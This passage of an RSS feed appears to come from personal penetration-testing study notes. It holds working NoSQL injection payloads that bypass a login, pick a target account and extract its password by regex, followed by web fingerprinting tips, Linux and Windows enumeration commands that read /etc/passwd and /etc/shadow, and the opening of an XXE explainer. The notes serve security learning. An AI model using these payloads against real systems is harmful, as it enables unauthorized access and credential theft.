&lt;pre tabindex="0"&gt;&lt;code&gt;$user = [&amp;#39;$ne&amp;#39; =&amp;gt; &amp;#39;xxxx&amp;#39;]
$pass = [&amp;#39;$ne&amp;#39; =&amp;gt; &amp;#39;yyyy&amp;#39;]
# the resulting query looks like
[&amp;#39;username&amp;#39; =&amp;gt; [&amp;#39;$ne&amp;#39; =&amp;gt; &amp;#39;xxxx&amp;#39;], &amp;#39;password&amp;#39; =&amp;gt; [&amp;#39;$ne&amp;#39; =&amp;gt; &amp;#39;yyyy&amp;#39;]]
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;Data base now tricked into returning any document where username isn&amp;rsquo;t equal to &amp;lsquo;xxxx&amp;rsquo; and pass isn&amp;rsquo;t equal to &amp;lsquo;yyyy&amp;rsquo;. This probably return all the documents in the collection.&lt;/li&gt;
&lt;li&gt;It turns out that PHP and many other languages allow you to pass an array by using notation on POST Request body:
&lt;pre tabindex="0"&gt;&lt;code&gt;user[$ne]=xxxx&amp;amp;pass[$ne]=yyyy
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="log-in-as-other-users"&gt;Log-in as other users&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;We can only as first user returned by database with above mentioned query in the request.&lt;/li&gt;
&lt;li&gt;By making use of &lt;code&gt;$nin&lt;/code&gt; operator, we are going to modify our payload so that we can control which user we want to obtain.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;$nin&lt;/code&gt; allows us to create filter by specifying desired documents have somefield, not in a list of values.
&lt;pre tabindex="0"&gt;&lt;code&gt;user[$nin][]=admin&amp;amp;pass[$ne]=aweasdf&amp;amp;remember=on
#this translates to
[&amp;#39;username&amp;#39; =&amp;gt; [&amp;#39;$nin&amp;#39; =&amp;gt; [&amp;#39;admin&amp;#39;]], &amp;#39;password&amp;#39; =&amp;gt; [&amp;#39;$ne&amp;#39; =&amp;gt; &amp;#39;aweadsf&amp;#39;]]
&lt;/code&gt;&lt;/pre&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;user[$nin][]=admin&amp;amp;user[$nin][]=jude&amp;amp;pass[$ne]=aweasdf&amp;amp;remember=on
# this translates to
[&amp;#39;username&amp;#39; =&amp;gt; [&amp;#39;$nin&amp;#39; =&amp;gt; [&amp;#39;admin&amp;#39;, &amp;#39;jude&amp;#39;]], &amp;#39;password&amp;#39; =&amp;gt; [&amp;#39;$ne&amp;#39; =&amp;gt; &amp;#39;aweadsf&amp;#39;]]
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;$nin&lt;/code&gt; receives list of values to ignore. We can continue to expand the list by adjusting our payload as above.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="extracting-users-passwords"&gt;Extracting User&amp;rsquo;s Passwords&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Its important to extract the actual passwords in use as they might be reused in other services. To accomplish this we will be abusing the &lt;code&gt;$regex&lt;/code&gt; operator to ask a series of questions to the server that allow us to recover the passwords.&lt;/li&gt;
&lt;li&gt;Take one of the users discovered before and try to guess the length of his password. Asking the db, if there is user with username &lt;code&gt;admin&lt;/code&gt; and password that matches the regex &lt;code&gt;^.{7}$&lt;/code&gt; which basically represents the wildcard for length 7 of word. If server responds with error, password lenght might not be 7.
&lt;pre tabindex="0"&gt;&lt;code&gt;user=admin&amp;amp;pass[$regex]=^.{7}$&amp;amp;remember=on
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;After some trial and error, we finally arrivedd at right answer. Now we know lenght of password.
&lt;pre tabindex="0"&gt;&lt;code&gt;user=admin&amp;amp;pass[$regex]=^.{5}$&amp;amp;remember=on
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;Its time to get actual content of pass, we modify our payload as: Asking if admin&amp;rsquo;s pass matches &lt;code&gt;^c....$&lt;/code&gt;, which means it starts with a lowercase c, followed by 4 characters. If server response is invalid login, we will get to know that first letter may not be c.
&lt;pre tabindex="0"&gt;&lt;code&gt;user=admin&amp;amp;pass[$regex]=^c....$&amp;amp;remember=on
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;We continue iterating over all available characters until we get a successful response from the server. The same process can be repeated for the other letters until the full password is recovered.&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Web Fundamentals</title><link>https://silent-resistor.github.io/resources/jr-pentester/web-fundamentals/</link><pubDate>Sat, 20 Jan 2024 00:00:00 +0000</pubDate><guid>https://silent-resistor.github.io/resources/jr-pentester/web-fundamentals/</guid><description>&lt;h2 id="manual---favicon"&gt;Manual - Favicon&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;The favicon is a small icon displayed in the browser&amp;rsquo;s address bar or tab used for branding a website.&lt;/li&gt;
&lt;li&gt;Sometimes when frameworks are used to build a website, a favicon that is part of the installation gets leftover, and if the website developer doesn&amp;rsquo;t replace this with a custom one, this can give us a clue on what framework is in use&lt;/li&gt;
&lt;li&gt;OWASP host a database of common framework icons that you can use to check against the targets favicon &lt;a href="https://wiki.owasp.org/index.php/OWASP_favicon_database"&gt;https://wiki.owasp.org/index.php/OWASP_favicon_database&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# compare the hash against owasp database to know about the framework used in the application&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;curl https://static-labs.tryhackme.cloud/sites/favicon/images/favicon.ico | md5sum
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# powershell&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;curl https&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;//static-labs.tryhackme.cloud/sites/favicon/images/favicon.ico -UseBasicParsing -o favicon.ico
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Get-FileHash .\favicon.ico -Algorithm MD5 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="manual----sitemapxml"&gt;Manual - Sitemap.xml&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;the sitemap.xml file gives a list of every file the website owner wishes to be listed on a search engine&lt;/li&gt;
&lt;li&gt;These can sometimes contain areas of the website that are a bit more difficult to navigate to or even list some old webpages that the current site no longer uses but are still working behind the scenes.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="manual---http-headers"&gt;Manual - HTTP Headers&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;When we make requests to the web server, the server returns various HTTP headers. These headers can sometimes contain useful information such as the webserver software and possibly the programming/scripting language in use.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="manual---osint---wappalyzer"&gt;Manual - OSINT - Wappalyzer&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Wappalyzer (&lt;a href="https://www.wappalyzer.com/"&gt;https://www.wappalyzer.com/&lt;/a&gt;) is an online tool and browser extension that helps identify what technologies a website uses, such as frameworks, Content Management Systems (CMS), payment processors and much more, and it can even find version numbers as well.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="osint---s3-buckets"&gt;OSINT - S3 Buckets&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;S3 Buckets are a storage service provided by Amazon AWS, allowing people to save files and even static website content in the cloud accessible over HTTP and HTTPS. The owner of the files can set access permissions to either make files public, private and even writable.&lt;/li&gt;
&lt;li&gt;The format of the S3 buckets is http(s)://{name}.s3.amazonaws.com where {name} is decided by the owner, such as tryhackme-assets.s3.amazonaws.com.&lt;/li&gt;
&lt;li&gt;One common automation method is by using the company name followed by common terms such as {name}-assets, {name}-www, {name}-public, {name}-private, etc.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="osint---ssltls-certificates"&gt;OSINT - SSL/TLS Certificates&lt;/h2&gt;</description></item><item><title>Enumeration</title><link>https://silent-resistor.github.io/resources/red-teaming/enumeration/</link><pubDate>Wed, 01 Apr 2026 00:00:00 +0000</pubDate><guid>https://silent-resistor.github.io/resources/red-teaming/enumeration/</guid><description>&lt;h2 id="introduction"&gt;Introduction&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Enumeration is the process of gathering information on a target system to identify potential attack vectors and vulnerabilities. It is a crucial step in the penetration testing process, as it helps to identify the target&amp;rsquo;s weaknesses and vulnerabilities.&lt;/li&gt;
&lt;li&gt;More info on Privilege Escalation can be found in the &lt;a href="https://tryhackme.com/r/room/windowsprivilegeescalation"&gt;Windows Privilege Escalation&lt;/a&gt; room and the &lt;a href="https://tryhackme.com/r/room/linuxprivesc"&gt;Linux PrivEsc&lt;/a&gt; room. Moreover, there are two handy scripts, &lt;a href="https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS"&gt;WinPEAS&lt;/a&gt; and &lt;a href="https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS"&gt;LinPEAS&lt;/a&gt; for MS Windows and Linux privilege escalation respectively.&lt;/li&gt;
&lt;li&gt;We aim, to collect the information that would allow us to pivot to other systems on the network or to loot the current system. Some of the interested in gathering include:
&lt;ul&gt;
&lt;li&gt;Users and groups&lt;/li&gt;
&lt;li&gt;Hostnames&lt;/li&gt;
&lt;li&gt;Routing tables&lt;/li&gt;
&lt;li&gt;Network shares&lt;/li&gt;
&lt;li&gt;network services&lt;/li&gt;
&lt;li&gt;Applications and banners&lt;/li&gt;
&lt;li&gt;Firewall configurations&lt;/li&gt;
&lt;li&gt;service settings and audit configurations&lt;/li&gt;
&lt;li&gt;SNMP and DNS details&lt;/li&gt;
&lt;li&gt;Hunting for credentials (saved on browsers or client applications)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="linux-enumeration"&gt;Linux Enumeration&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# release info&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ls /etc/*-release
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# system info&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;hostame
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cat /etc/passwd
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo cat /etc/shadow
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ls -lh /var/mail
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;uname -a
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# installed apps&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ls -la /usr/bin/
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ls -la /usr/local/bin/
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;rpm -qa &lt;span style="color:#75715e"&gt;# rpm based systems&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;dpkg -l &lt;span style="color:#75715e"&gt;# deb based systems&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#Users&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;who &lt;span style="color:#75715e"&gt;# who logged in&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;w &lt;span style="color:#75715e"&gt;# who logged in and whats he doing..&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;whoami
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;id -a
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;groups
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;last &lt;span style="color:#75715e"&gt;# want to who has been using the system recently&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo -l &lt;span style="color:#75715e"&gt;# want to know what commands the current user can run with sudo&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Networking&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ip addr show
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;netstat -tuln
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ss -tuln
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cat /etc/resolv.conf &lt;span style="color:#75715e"&gt;# dns servers&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo lsof -i &lt;span style="color:#75715e"&gt;# list open network connections&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo lsof -i :22 &lt;span style="color:#75715e"&gt;# list open network connections on port 22&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# running service&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ps axf
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="windows-enumerations"&gt;Windows enumerations&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# system info&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;systeminfo 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;wmic qfe get Caption,Description,HotFixID,InstalledOn &lt;span style="color:#75715e"&gt;# installed updates&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;net start &lt;span style="color:#75715e"&gt;# installed and started windows services&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;wmic product get name,version,vendor &lt;span style="color:#75715e"&gt;# installed applications&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Users&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;whoami
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;whoami /priv &lt;span style="color:#75715e"&gt;# privileges&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;whoami /groups &lt;span style="color:#75715e"&gt;# groups&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;whoami /all &lt;span style="color:#75715e"&gt;# all info&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;net config &lt;span style="color:#75715e"&gt;# config&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;net user &lt;span style="color:#75715e"&gt;# all running users&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;net group &lt;span style="color:#75715e"&gt;# all groups&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;net localgroup &lt;span style="color:#75715e"&gt;# all local groups&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;net localgroup administrators &lt;span style="color:#75715e"&gt;# all administrators&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;net accounts &lt;span style="color:#75715e"&gt;# local account settings&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;net accounts /domain &lt;span style="color:#75715e"&gt;# domain account settings&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Networking&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ipconfig /all
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;netstat -abno &lt;span style="color:#75715e"&gt;# list open network connections, -b shows the executable, -o shows the process ID, -a for listening ports&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;arp -a &lt;span style="color:#75715e"&gt;# arp table&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="dns-smb-and-snmp"&gt;DNS, SMB, and SNMP&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;DNS&lt;/strong&gt;:&lt;/p&gt;</description></item><item><title>Exploiting XXE (XML External entities) injections</title><link>https://silent-resistor.github.io/resources/web-app-pentesting/xxe_injections/</link><pubDate>Sun, 01 Feb 2026 00:00:00 +0000</pubDate><guid>https://silent-resistor.github.io/resources/web-app-pentesting/xxe_injections/</guid><description>&lt;h2 id="introductin-to-xml"&gt;Introductin to XML&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;XML (Extensible Markup language) is markup language derived from SGML (Standard Generalized Markup language), which is the same standard that HTML is based on.&lt;/li&gt;
&lt;li&gt;XML is typically used by applications to store and transport data in a format that&amp;rsquo;s both human readable and machine-parseable. Its flexible and widely used format for exchanging data between different systems and applications.&lt;/li&gt;
&lt;li&gt;XML consists of elements, attributes, and character data, which are used to represent data in a structured and organized way.&lt;/li&gt;
&lt;li&gt;XXE is type of security flaw that exploits vulnerability in an application&amp;rsquo;s XML input that includes external entity references with in XML itself. Attackers leverage this vulnerability to disclose local files, make server-side requests, or execute remote code.&lt;/li&gt;
&lt;li&gt;Given Widespread use of XML in web applications, particularly in webservices such as SOAP and REST based APIs, the severity of these vulnerabilities cannot be underestimated.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="xml-syntax-structure"&gt;XML syntax structure&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;XML elements are represented by tags, which surrounded by angle brackets &lt;code&gt;&amp;lt;&amp;gt;&lt;/code&gt;. Tags usually come in pairs, with opening tag preceeding the content and closing tag following the content.
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-xml" data-lang="xml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&amp;lt;!-- Declaration indiates XML version --&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&amp;lt;?xml version=&amp;#34;1.-&amp;#34; encoding=&amp;#34;UTF-8&amp;#34;?&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&amp;lt;!-- Elemenet containing various sub-elements, and attributs representing user data --&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;user&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;id=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;1&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;name&amp;gt;&lt;/span&gt;John&lt;span style="color:#f92672"&gt;&amp;lt;/name&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;age&amp;gt;&lt;/span&gt;30&lt;span style="color:#f92672"&gt;&amp;lt;/age&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;address&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;street&amp;gt;&lt;/span&gt;124 Main St&lt;span style="color:#f92672"&gt;&amp;lt;/street&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;city&amp;gt;&lt;/span&gt;AnyCity&lt;span style="color:#f92672"&gt;&amp;lt;/city&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;/address&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;/user&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="whats-xslt"&gt;Whats XSLT?&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;XSLT (Extinsible stylesheet language transformations) is a language used to transform and format XML documents. While XSLT is primarily used for data transformation and formatting, it is also significantly relavant to XXE attacks.&lt;/li&gt;
&lt;li&gt;XSLT can be used to facilitate XXE attacks in several ways such as &lt;strong&gt;Data Extraction:&lt;/strong&gt;, &lt;strong&gt;Entity Expansion:&lt;/strong&gt;, &lt;strong&gt;Data Manupulation:&lt;/strong&gt;, &lt;strong&gt;Blind XXE&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="what-are-dtds-document-type-definitions"&gt;What are DTDs (Document Type Definitions)?&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;DTDs define the structure and contraints of xml doc. The specify the allowed elements, attributes, and relationsships between them. DTDs can be internal within document or external in a seperate file.&lt;/li&gt;
&lt;li&gt;Purpose of DTDs usage: for validating the structure of xml doc before processing.&lt;/li&gt;
&lt;li&gt;Internal DTDs are specified by using &lt;code&gt;&amp;lt;!DOCTYPE&amp;gt;&lt;/code&gt; declaration, while external DTDs are reference using the &lt;code&gt;SYSTEM&lt;/code&gt; keyword.
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-xml" data-lang="xml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&amp;lt;?xml version=&amp;#34;1.0&amp;#34; encoding=&amp;#34;UTF-8&amp;#34;?&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&amp;lt;!DOCTYPE config [
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt; &amp;lt;!ELEMENT config (database)&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;&amp;lt;!ELEMENT database (usernaem, password)&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;&amp;lt;!ELEMENT username (#PCDATA)&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;&amp;lt;!ELEMENT password (#PCDATA)&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;]&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;config&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&amp;lt;!-- configuration data --&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;/config&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;DTDs play a crucial role in XXE injection, as they can be used to declare external entities which can reference external files or URLs, lead to malicious data or code injections.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="xml-entities"&gt;XML Entities&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;These are the place holders for data or code that can be expanded with in xml document.&lt;/li&gt;
&lt;li&gt;5 Types of entities&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;1. Internal entities:&lt;/strong&gt; are essentially varialbes used with in an XML doc to define and substitute content may be repeated multiple times. They are defined in the DTD.
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-xml" data-lang="xml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&amp;lt;!DOCTYPE note [
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&amp;lt;!-- declaring the varible named &amp;#39;inf&amp;#39; --&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&amp;lt;!ENTITY inf &amp;#34;This is a test.&amp;#34;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;]&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;note&amp;gt;&lt;/span&gt;
